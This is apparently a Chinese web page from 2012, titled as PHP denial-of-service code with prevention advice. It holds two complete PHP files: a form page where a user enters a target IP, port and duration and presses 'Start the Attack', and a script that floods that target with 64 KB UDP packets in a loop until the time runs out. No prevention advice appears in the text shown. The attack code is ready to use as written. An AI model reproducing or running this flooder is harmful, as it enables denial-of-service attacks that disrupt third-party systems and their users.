php DOS攻击实现代码(附如何防范)
2012-05-29 00:00
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index.php
function.php
<?php $ip = $_SERVER['REMOTE_ADDR']; ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> <meta name="author" content=""> <title>PHP DoS, Coded by EXE</title> </head> <!-- PHP DOS, coded by EXE --> <style type="text/css"> <!-- body { font-family: Arial, Helvetica, sans-serif; font-size: 12px; font-style: normal; line-height: normal; color: #FFFFFF; background-color: #000000; } --> </style> <!-- PHP DOS, coded by EXE --> <body> <center><br><br> <img src="main.jpg"><br> <b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br> <form name="input" action="function.php" method="post"> IP: <input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"> Time: <input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"> Port: <input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"> <br><br> <input type="submit" value=" Start the Attack---> "> <br><br> <center> After initiating the DoS attack, please wait while the browser loads. </center> </form> </center> <!-- PHP DOS, coded by EXE --> </body> </html>
function.php
<?php //================================================= //PHP DOS v1.8 (Possibly Stronger Flood Strength) //Coded by EXE //================================================= $packets = 0; $ip = $_POST['ip']; $rand = $_POST['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_POST['time']; $time = time(); print "Flooded: $ip on port $rand <br><br>"; $max_time = $time+$exec_time; for($i=0;$i<65535;$i++){ $out .= "X"; } while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; ?>
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